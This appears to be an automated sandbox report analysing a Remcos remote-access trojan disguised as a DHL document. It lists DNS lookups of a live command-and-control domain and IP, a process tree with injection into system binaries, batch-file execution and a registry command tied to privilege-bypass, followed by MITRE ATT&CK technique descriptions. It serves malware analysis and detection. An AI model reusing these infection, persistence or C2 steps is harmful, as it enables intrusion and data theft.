Sep 27, 2021 20:41:48.047791004 CEST	8.8.8.8	192.168.2.4	0x4ee2	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:50.166790962 CEST	8.8.8.8	192.168.2.4	0xd265	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:52.277652025 CEST	8.8.8.8	192.168.2.4	0x5e9b	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:54.386415005 CEST	8.8.8.8	192.168.2.4	0x88b9	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:56.493730068 CEST	8.8.8.8	192.168.2.4	0xd752	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:58.606566906 CEST	8.8.8.8	192.168.2.4	0x14d1	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:42:06.612971067 CEST	8.8.8.8	192.168.2.4	0x1b36	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:42:08.729338884 CEST	8.8.8.8	192.168.2.4	0x346a	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:42:10.839230061 CEST	8.8.8.8	192.168.2.4	0xfb67	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe PID: 6548 Parent PID: 5324

General

Start time:	20:39:57
Start date:	27/09/2021
Path:	C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe'
Imagebase:	0x400000
File size:	1009152 bytes
MD5 hash:	3808D4A11CBEE20896CCA28F9A3BCB9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low

Analysis Process: mobsync.exe PID: 1368 Parent PID: 6548

General

Start time:	20:40:20
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\mobsync.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\mobsync.exe
Imagebase:	0x9d0000
File size:	93184 bytes
MD5 hash:	44C19378FA529DD88674BAF647EBDC3C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000005.00000002.937782591.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000005.00000002.937782591.0000000000400000.00000040.00000001.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000005.00000002.938674908.0000000002EA7000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000005.00000002.939914286.0000000050601000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Analysis Process: cmd.exe PID: 7156 Parent PID: 6548

General

Start time:	20:40:25
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Trast.bat' '
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 5192 Parent PID: 7156

General

Start time:	20:40:25
Start date:	27/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: cmd.exe PID: 6852 Parent PID: 7156

General

Start time:	20:40:26
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 1852 Parent PID: 6852

General

Start time:	20:40:26
Start date:	27/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: cmd.exe PID: 5048 Parent PID: 6548

General

Start time:	20:40:26
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ''C:\Users\Public\nest.bat' '
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 5744 Parent PID: 5048

General

Start time:	20:40:27
Start date:	27/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: reg.exe PID: 1680 Parent PID: 5048

General

Start time:	20:40:27
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg delete hkcu\Environment /v windir /f
Imagebase:	0x310000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 5508 Parent PID: 1680

General

Start time:	20:40:28
Start date:	27/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: Iqzenco.exe PID: 7112 Parent PID: 3424

General

Start time:	20:40:31
Start date:	27/09/2021
Path:	C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe'
Imagebase:	0x400000
File size:	1009152 bytes
MD5 hash:	3808D4A11CBEE20896CCA28F9A3BCB9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 24%, ReversingLabs

Analysis Process: Iqzenco.exe PID: 484 Parent PID: 3424

General

Start time:	20:40:39
Start date:	27/09/2021
Path:	C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe'
Imagebase:	0x400000
File size:	1009152 bytes
MD5 hash:	3808D4A11CBEE20896CCA28F9A3BCB9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi

Analysis Process: mobsync.exe PID: 4108 Parent PID: 7112

General

Start time:	20:40:59
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\mobsync.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\mobsync.exe
Imagebase:	0x9d0000
File size:	93184 bytes
MD5 hash:	44C19378FA529DD88674BAF647EBDC3C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000016.00000002.825096146.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000016.00000002.825096146.0000000000400000.00000040.00000001.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000016.00000002.827146573.0000000003178000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000016.00000002.827407780.0000000050601000.00000040.00000001.sdmp, Author: Joe Security

Analysis Process: secinit.exe PID: 6644 Parent PID: 484

General

Start time:	20:41:16
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\secinit.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\secinit.exe
Imagebase:	0xb40000
File size:	9728 bytes
MD5 hash:	174A363BB5A2D88B224546C15DD10906
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001A.00000002.850111414.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000001A.00000002.850111414.0000000000400000.00000040.00000001.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001A.00000002.851109980.0000000050601000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001A.00000002.850918949.0000000003327000.00000004.00000020.sdmp, Author: Joe Security

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Remcos

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre